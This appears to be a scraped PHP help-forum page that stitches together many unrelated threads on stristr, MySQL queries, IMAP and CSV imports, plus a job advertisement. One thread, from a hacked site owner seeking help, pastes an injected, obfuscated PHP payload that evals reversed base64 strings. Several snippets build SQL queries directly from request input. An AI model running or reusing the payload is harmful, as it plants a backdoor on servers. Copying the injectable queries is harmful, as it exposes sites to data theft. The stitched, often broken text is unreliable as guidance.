PHP - Stristr Vs Database Mysql Solution Which One Is Fast ?
Hello
I have multiple stristr condition (300+) involved in my php script (in 1 script only). I would like to know if that is okay or should i move to other solution like Mysql table search data and than direct it to accordingly. Kindly suggest some thing... the 300 condition are stored in include files (every file there is condition i.e there are 300 files in a directory which is included.) Kindly suggest some thing efficient and fast. Similar Tutorialsokay I am using a jquery plugin to re-arrange images which are in mysql and they have their own "order_number" ... when i re-arrange stuff the new order is put into a hidden field in a form and i have it along with another hidden field with their current order... when submitted I combine these two fields in an array so the key is the original order and the value is the new order ....i have 12 images... Array ( [1] => 1 [2] => 2 [3] => 3 [4] => 4 [5] => 5 [6] => 6 [7] => 7 [8] => 8 [9] => 9 [10] => 10 [11] => 11 [12] => 12 ) this is what is what the array looks like... i have a foreach loop with a mysql query but things get kind of weird when you try to do it this way $num = $_POST['old_num']; $num = unserialize($num); $sort = $_POST['sortOrder']; $sort = explode(',', $sort); if ($_POST){ $combine = array_combine($num, $sort); foreach($combine as $key => $value){ mysql_query("UPDATE shirts SET order_number='$value' WHERE order_number='$key' ") or die(mysql_error()); } when you do this lets say for example we have the image with order number "1" get switched with the image order number "2"..... the database first updates with number 1 which becomes 2... then when it goes to number "2"... at this point... the first image gets switched back to number 1.... so 1 becomes 2 then the new 2 becomes 1 again and the other 2 becomes 1 also. I can not think of another way I could update mysql with the correct order numbers... If anyone has any ideas or other solutions I am open to all suggestions... thank you! the title sounds quite ridiculous but i dont know how else to put it... i want to return results, but my site has got quite popular, quicker than i would have thought. i want to paginate the results. but i want the results to appear at random. but the results should not appear twice... can this even be done? any questions...? thanks! I have an array with the following elements define("LIST_OF_SCHOOLS", "st patricks,Piarsaigh,Phiarsaigh,St Vincents,Glanmire,Farranree,North Presentation,north mon,north monestrey,Scoil iosagain,St aidans,knocknaheeny,mon"); $schoolList = explode(',', LIST_OF_SCHOOLS); function checkForSchool($page, $schoolList) { preg_match('%(Studied at|Went to|Goes to) \\\u003ca href=\\\\"http:\\\/\\\/www.facebook.com\\\/pages\\\/[a-zA-Z-]*\\\/\d*\\\\" data-hovercard=\\\\"\\\/ajax\\\/hovercard\\\/page.php\?[a-zA-Z=0-9]*\\\\">([a-zA-Z\s]*)\\\u003c\\\/a>%', $page, $match); if($match && count($match)>0) { normal($match[2]); for($cnt=0; $cnt<count($schoolList); $cnt++) { $school = trim($schoolList[$cnt]); green(stristr($match[2],$school)); if($school!="" && stristr($match[2], $school)) { blue($match[2].": Match for school found"); unset($school); return true; } } } else { red("No school set on profile"); } unset($school); return false; How come my function is returning true for this match mond Community High School Inveralmond Community High School: Match for school found I only want it too return true if all the match corresponds with one of the element in the array $schoolList Is there a better way to specify the "if (strsistr...)" line? Suppose I want to check 4 or 5 file ext's instead of just 2? <?php if ($handle = opendir('pics')) { echo 'Directory handle: ' . $handle . '<br />'; echo 'Files: <br />'; while (false !== ($file = readdir($handle))) { if ( stristr($file,("jpg")) || stristr($file,("png")) ) { echo $file . '<br />'; } } closedir($handle); } ?> thanks, Keith Hello, stristr('http://www.google.com/', 'google') doesn't work but stristr('http://localhost/test.html', 'sandro') works why is this? and how can I solve this problem? Hi! I'm attempting to do this and feel that I'm fairly close. Would you take a look and throw me any bones? PHP Code: Code: [Select] <?php if (isset($_POST['ppassword']) && (stristr($string,'') === TRUE)) { switch($_POST['ppassword']) { case "Google": header("Location: http://www.google.com"); exit(); case "Yahoo": header("Location: http://www.yahoo.com"); exit(); case "Bing": header("Location: http://www.bing.com"); exit(); } } ?> The Form: Code: [Select] <form name="portal" id="portal" method="post" action=""> <input name="ppassword" type="text" id="ppassword" maxlength="25" onfocus="this.select()" onblur="this.value=!this.value?'company name':this.value;" value="company name" onclick="this.value=''" /> <input name="login" type="submit" id="login" value="Continue" /> </form> I appreciate any of your help. I feel close and this part Code: [Select] (stristr($string,'') feels like the missing piece of the puzzle. At the moment I am creating a search function for my website. The approach I have in mind is a pseudo-PHP database. To give an example: A HTML form will submit the results to a PHP file. HTML FORM - Colour: Black PHP RESULT PAGE - if ($_POST['color'] == 'Black') {readfile("./products/black/*.html");} HTML FORM - Price: <$50 PHP RESULT PAGE - if ($_POST['Price'] == '<$50') {readfile("./products/less50/*.html");} The problem here is if there is an item that is black and costs less than $50, then its going to be listed twice. There is probably some code I can write to ommit the listing of duplicate entries, but it is probably going to be messy, so I am wondering if its better to use a centralized MySQL database, rather than a pseudo-PHP database? I've never used MySQL and don't know much about it and this is my first real attempt at using PHP. This is the case. My website got hacked and injections took place with encoded code. I tried to figure out how to decode it all but I am out of ideas. I need to figure out what was going on here and hope someone is willing to help me. The code is he Code: [Select] if ($evalZjhGYTfoFIetGo != 34517) {function evalJHIOkgzInSMJH($s){for ($a = 0; $a <= strlen($s)-1; $a++ ){$e .= $s{strlen($s)-$a-1};}return($e);}eval(evalJHIOkgzInSMJH(';))"=sTKwgyZulGdy9GclJ3Xy9mcyVGQ"(edoced_46esab(lave'));eval(evalJHIOkgzInSMJH(';))"=ASf7kCaYlEe4NGZjF0ayFFbhZXZkgSZk92YlR2X0YTZzFmYg4mc1RXZytHIpgGWJhHejR2YBtmcRxWY2VGJoYEWJFGVZdWeQtEbhZXZg42bpR3YuVnZ"(edoced_46esab(lave'));eval(evalJHIOkgzInSMJH(';))"==wOpISPNJTWigiRYlUYUl1Z5B1SsFmdlBSPgYVQ59kZmZUWtdHUixWY2VGJ"(edoced_46esab(lave'));eval(evalJHIOkgzInSMJH(';))"7kiI90ESkhmUzMmIoYEWJFGVZdWeQtEbhZXZ9s2QR1UcqFFUhllYHxWY2VGJ"(edoced_46esab(lave'));eval(evalJHIOkgzInSMJH(';))"7kiI90TQjBjUIFmIoYEWJFGVZdWeQtEbhZXZ9MkZk5UbBFFVmZFVmZ3Q6xWY2VGJ"(edoced_46esab(lave'));eval(evalJHIOkgzInSMJH(';))"=sTKi0DNXFmIoYEWJFGVZdWeQtEbhZXZ98EenNVbOp1US9GSLJlbwxWY2VGJ"(edoced_46esab(lave'));eval(evalJHIOkgzInSMJH(';))"==wOpISP9EVS2R2VJJCKGhVShRVWnlHULxWY2VWP6d0Yk1UZz1WaDllQi1GarxWY2VGJ"(edoced_46esab(lave'));eval(evalJHIOkgzInSMJH(';))"==wOdliIVVTVShkRwg1UWBTVWljRVVlUGNlIoYEWJFGVZdWeQtEbhZXZbJVRWJVRT9FJ9U1Trt0arJWazFmcIxWY2VGJ"(edoced_46esab(lave'));eval(evalJHIOkgzInSMJH(';))"=sTKpISP9c2YshXbZRnRtVlIoYEWJFGVZdWeQtEbhZXZgwSKiQjVHpVdGd1VigiRYlUYUl1Z5B1SsFmdlBCLpISPJhlWyw2RhpmSYllZGdVYigiRYlUYUl1Z5B1SsFmdlBCLpICM50WUP5kVUJCKGhVShRVWnlHULxWY2VGIskiI9EkbjFDeyUlIoYEWJFGVZdWeQtEbhZXZgwSKiwGeyold5IjUigiRYlUYUl1Z5B1SsFmdlhSehJnchBSPg0Ua0ZWTKREephHcq52SSxWY2VGJ"(edoced_46esab(lave'));eval(evalJHIOkgzInSMJH(';))"==wOWFUePZmZGlVb3BlYsFmdlRSPuAnaCpUV5RGWsNGbhZXZkASKgsyKpRCI7gDI9wDIpRCI7ADI9ASakgCIy9mZ"(edoced_46esab(lave'));eval(evalJHIOkgzInSMJH(';))"=sTKpISP9ElZ3sWejt2Z5NGM1clWwUjMipWOGRGbkJDWsh3Vh1mQFlUdKhFZwYVbjdjQTtkeSN0SNlzaadnSsVGNoV0VCZFbkdnVHJGaahlWnRjMiBnUzkVdW5mWigiRYlUYUl1Z5B1SsFmdlhCbhZXZ"(edoced_46esab(lave'));eval(evalJHIOkgzInSMJH(';))"==wOWFUePZmZGlVb3BlYsFmdlRiLi4iI94CIwpmQKVVekhFbjxWY2VGJ"(edoced_46esab(lave'));eval(evalJHIOkgzInSMJH(';))"=0Xf7MGWFpmbXpWZjRmWOlEbhZXZkAyboNWZ70VMbNGWFpmbXpWZjRmWOlEbhZXZkASPgMGWFpmbXpWZjRmWOlEbhZXZkAyOpMGWFpmbXpWZjRmWOlEbhZXZkwieHNGZNV2ctl2QZJkYth2asFmdlRCKlR2bsBHelBSPgMGWFpmbXpWZjRmWOlEbhZXZksXKpo3RjRWTlNXbpNUWCJWbotGbhZXZkwyYYVkaudlalNGZa5USsFmdlRCKyR3cyR3coAiZptTKp0VKiUlTxQVS5YUVVJlRTJCKGhVShRVWnlHULxWY2V2WSVkVSV0UfRCKlR2bj5WZsJXdukiI5cWbKJCKGhVShRVWnlHULxWY2VmLpU1Trt0arJWazFmcIxWY2VGJoUGZvNmblxmc15SKikTStpkIoYEWJFGVZdWeQtEbhZXZu0VKi0TSGJVRGBDWGJVMU5kVrVlIoYEWJFGVZdWeQtEbhZXZbJVRWJVRT9FJukiI9ADVhJCKGhVShRVWnlHULxWY2VmLpISP4Q0YigiRYlUYUl1Z5B1SsFmdl5SKi8mQuxkIoYEWJFGVZdWeQtEbhZXZu8EenNVbOp1US9GSLJlbwxWY2VGJukiI90zdMJCKGhVShRVWnlHULxWY2VmLwpmQKVVekhFbjxWY2VGJukiI9gTeMJCKGhVShRVWnlHULxWY2VmLpISP9c2TigiRYlUYUl1Z5B1SsFmdl5yQmRmTtFUUUZmVUZmdDpHbhZXZkgCTPZGcSpHeIhVQVZHclxWY2VGI9AyYYVkaudlalNGZa5USsFmdlRCI7kCMwgDMxsSKoUWbpRHLpkiI90ESkhmUzMmIoYEWJFGVZdWeQtEbhZXZoUDZtxyaDFVTxpWUQFWWidEbhZXZkgSZpt2bvNGdlNHQgsHIlNHblBSf7BSKpkSXrNUUNFnaRBVYZJ2RsFmdlRyWFl0SP90QfRCK0V2czlGKgI3bgkSKV90aLt2ail2chJHSsFmdlRCIsISavICIuASKNlGdm1kSEhXa4BnautkUsFmdlRCIsICfigSZk9Gbw1Wag4CIi8iIog2Y0FWbfdWZyBHKoYWa"(edoced_46esab(lave'));$evalZjhGYTfoFIetGo =34517;} Hello friends, in my database table or even php files i always find within the text something like this i love people\n i love world\n i love anything and sometimes \r and something \n\r so what does it mean is it like <br> or what ? thanks Ok here is the error I am getting... Quote Warning: date() expects parameter 2 to be long, string given in /home/a8875754/public_html/admin/pages/edit_members.php on line 191 and this is line 191 of my code... <tr bgcolor="<?php echo $bgcolor; ?>"><td style="text-align:left; border:solid 1px #B30401; padding:3px;"> <span style="float:left;"><strong><?php echo $username; ?></strong> Joined: <strong><?php echo date("M Y",$joined); ?></strong> Usergroup: <strong><?php echo $rank_name['usergroup_name']; ?></strong> </span><span style="float:right;"><a href="index.php?p=edit_members&action=edit&id=<?php echo $id; ?>"> <img src="images/icons/edit_small.png" title="Edit <?php echo $username; ?>" alt="Edit <?php echo $username; ?>"/></a> I can't find the error.. can you? if needed I can post the entire edit_member.php code.. I have a very simple system (few files) having simple articles (only title and a paragraph description) stored in single text files. I catch the data by Code: [Select] $data=file('article1.txt'); $title=$data[0]; $description=$data[1]; This simple system works perfectly, but the problem appears when increasing the number of files (e.g. more than 10,000 articles). This is a problem connected with the OS behavior for handling huge number of files. My first question: Is there theoretically a faster system (e.g. database-based) for retrieving data, comparing with retrieving from plain text file? Second question: what can be an alternative for this very simple system (no search query or additional field)? 1. XML: It has the same problem if storing in different files. 2. Mysql: It is very advanced for this system. 3. SQLite:I am thinking of this, but it still have advanced structure of SQL. 4. DB Berkeley: I am not familiar with Oracle at all, and I need to install something new on my server. Is it really worth of trying? 5. Anything else? In general, I just need fast reading the data. I have no idea how much the speed of these systems are different to determine which is worth of consideration. Thanks for sharing your idea. Hi guys, I have written a script that opens up my gmail messages via IMAP stores them in an array. However, I have thousands of emails, so this is taking forever. Is there a faster way of doing this? Here's my code Code: [Select] <?php //lets get those emails /* connect to gmail */ $hostname = '{imap.gmail.com:993/imap/ssl}INBOX'; $username = 'info@***********.com'; $password = '******'; /* try to connect */ $inbox = imap_open($hostname,$username,$password) or die('Cannot connect to Gmail: ' . imap_last_error()); /* grab emails */ $emails = imap_search($inbox,'ALL'); /* if emails are returned, cycle through each... */ if($emails) { /* for every email... */ foreach($emails as $email_number) { $message = imap_fetchbody($inbox,$email_number,2); } } /* close the connection */ imap_close($inbox); ?> Hi, my name is Pete Mardell, a development manager for Smart Recruit Online.
We have recently teamed up with a gaming company based in Norwich and are looking to find two new developers to work on our award winning platform. We are specifically looking for a php web developer (Junior or Senior) and a front end web developer (Junior / Senior) to work together on projects to improve our platform and services.
You will be working remotely from our head office in Milton Keynes at Norwich in a software warehouse with other talented developers and will have graphic designer resources available to use to create masterpieces.
Please apply at the links below if interested:
PHP Developer: https://www.smartrec...css3jquery-5483
Front End Developer: https://www.smartrec...in-norwich-7057
Kind Regards,
Pete
How would I go about doing the following: I have a csv like this Quote "Division","Section","Group","Product Code","Description","Description + Secondary Description" "Division 1","Section 1","Group 1","BMSLPL25","Test Name","Test Description" "Division 1","Section 1","Group 2","BMSLPL26","Test Name 2","Test Description 2" "Division 2","Section 2","Group 2","BMSLPL27","Test Name 3","Test Description 3" I have a database structured like this Quote Divisions --- id name parent_id Groups --- id name division_id Products --- id code description secondary_description Section is a sub division. What is the best way to get the information from CSV into this database? Should I have another table and store the CSV data as is and then query that to make the other tables. Any help much appreciated. Hi guys, I need your help. I am checking on a database as I want to see if I have the same value in the url and in the database. Code: [Select] <?php session_start(); define('DB_HOST', 'localhost'); define('DB_USER', 'mydbuser'); define('DB_PASSWORD', 'mydbpass'); define('DB_DATABASE', 'mydbtable'); $errmsg_arr = array(); $errflag = false; $link = mysql_connect(DB_HOST, DB_USER, DB_PASSWORD); if(!$link) { die('Failed to connect to server: ' . mysql_error()); } $db = mysql_select_db(DB_DATABASE); if(!$db) { die("Unable to select database"); } function clean($var){ return mysql_real_escape_string(strip_tags($var)); } $username = clean($_GET['user']); $password = clean($_GET['pass']); $test = clean($_GET['test']); $public = clean($_GET['public']); if (isset($_GET['user']) && (isset($_GET['pass']))) { if($username == '' || $password == '') { $errmsg_arr[] = 'username or password are missing'; $errflag = true; } } elseif (isset($_GET['user']) || (isset($_GET['test'])) || (isset($_GET['public']))) { if($username == '' || $test == '' || $public == '') { $errmsg_arr[] = 'user or others are missing'; $errflag = true; } } if($errflag) { $_SESSION['ERRMSG_ARR'] = $errmsg_arr; echo implode('<br />',$errmsg_arr); } else { $qry="SELECT * FROM members WHERE username='$username' AND passwd='$password'"; $result=mysql_query($qry) or die('Error:<br />' . $qry . '<br />' . mysql_error()); if ($username && $password) { if(mysql_num_rows($result) > 0) { $qrytable1="SELECT images, id, test, links, Public FROM user_list WHERE username='$username'"; $result1=mysql_query($qrytable1) or die('Error:<br />' . $qry . '<br />' . mysql_error()); while ($row = mysql_fetch_array($result1)) { echo "<p id='test'>"; echo $row['test'] . "</p>"; echo '<p id="images"> <a href="images.php?test=test&id='.$row['id'].'">Images</a></td> | <a href="http://' . $row["links"] . '">Link</a> </td> | <a href="delete.php?test=test&id='.$row['id'].'">Delete</a> </td> | <span id="test">'.$row['Public'].'</td>'; } } else { echo "user not found"; } } elseif($username && $test && $public) { $qry="SELECT * FROM members WHERE username='$username'"; $result1=mysql_query($qry) or die('Error:<br />' . $qry . '<br />' . mysql_error()); if(mysql_num_rows($result1) > 0) { $qrytable1="SELECT Public FROM user_list WHERE username='$username' && test='$test'"; $result2=mysql_query($qrytable1) or die('Error:<br />' . $qry . '<br />' . mysql_error()); if(mysql_num_rows($result2) > 0) { $row = mysql_fetch_row($result2); mysql_query("UPDATE user_list SET Public=('$_GET[public]') WHERE username='$username' AND test='$test'"); echo "update!"; } else { echo "already updated!"; } } else { echo "user not found"; } } } ?> This is the function I use to check the value in the database: Code: [Select] if (mysql_affected_rows($result2) > 0) { mysql_query("UPDATE user_list SET Public=('$_GET[public]') WHERE username='$username' AND test='$test'"); echo "you have update it!"; } else if (mysql_affected_rows($result2) < 0) { echo "it is not on the database"; } else { echo "you have already updated!"; } When i input the different value in a url bar while the records are not the same as the value in the url and in the database, i can't get passed and I am keep getting "you have already updated!!" when the value in a database are different than I have input in a url. Do you know how i can get pass it when I have input the different value in the url while it is not the same in the database? Any advice would be much appreicated. Thanks, Mark Hello, I've been having trouble connecting to a MySQL database, I can't find the problem in the code, what am I doing wrong? Getting the database file in the config file : require_once("db_connect.php"); db_connect.php : <?php $db = mysql_connect('83.172.155.14:3306', 'username', 'password') or die(mysql_error()); mysql_select_db('databasename', $db) or die(mysql_error()); ?> I need to connect to a PhpMyAdmin database. I need this fixed asap since I'm doing this for someone and he wants the site done as quickly as possible. P.S: The database used to work in php4 and now I need it to work on php5 Thanks in advance, Hi there, I have been creating a website which shows products of the companys (www.theadventurestartshere.org) and I have been trying to make some filters for the products using URL Parameters and recordsheet filters... Can someone advise me on the easiest way to do this? As I have created a method to do it with, (check website) but it has to be entered manually and I was hoping there is an easier way? Please Note I like to use drop down boxes for the filters but if there is a way to do the checkbox style you see on say Amazon then that would be brilliant... I use Dreamweaver CS5, and the newest versions of PHP and MySql Many Thanks, Paul Hi On my xampp server's database I get the warning that my database is read-only when I try to insert something into a table. I think I may know what cause this, because I created an export/import app that exports/import important data to the database... How can I remove the read-only from the database, because I am scared that the same thing might happen to my server's database? And is there a mysql query that test if the database is read-only? Thanks in advance I've tried reading through some of the threads but couldnt understand some of them. I've made a newsfeed script which works how i want it to. Now i want to add the function to delete a row from the database from an "admin panel" on the website. So far i have this: <?php include("includes.php"); doConnect(); $get_news = "SELECT id, title, text, DATE_FORMAT(datetime, '%e %b %Y at %T') AS datetime FROM newsfeed ORDER BY datetime DESC"; $result= mysqli_query($mysqli, $get_news) or die(mysqli_error($mysqli)); while ($row = mysqli_fetch_array($result)) { echo '<strong><font size="3">'. $row['title'] .' </font></strong><br/><font size="3">'. $row['text'] .'</font><br/><font size="2">'. $row['datetime'] .'</font><br/><br/><a href="delnews.php?del_id=' .$row['id']. '"> <strong>DELETE</strong></a>';} ?> then my delnews.php is: <?php include("includes.php"); doConnect(); $query = "DELETE FROM newsfeed WHERE id = "$_POST['id']""; $result = mysql_query($query); echo "The data has been deleted."; ?> I believe the problem is $_POST['id']. i've tried different things in there but none work. It displays the echo line but doesnt actually delete anything. I am new to php so this may be a stupid mistake, but try and play nice! Thanks |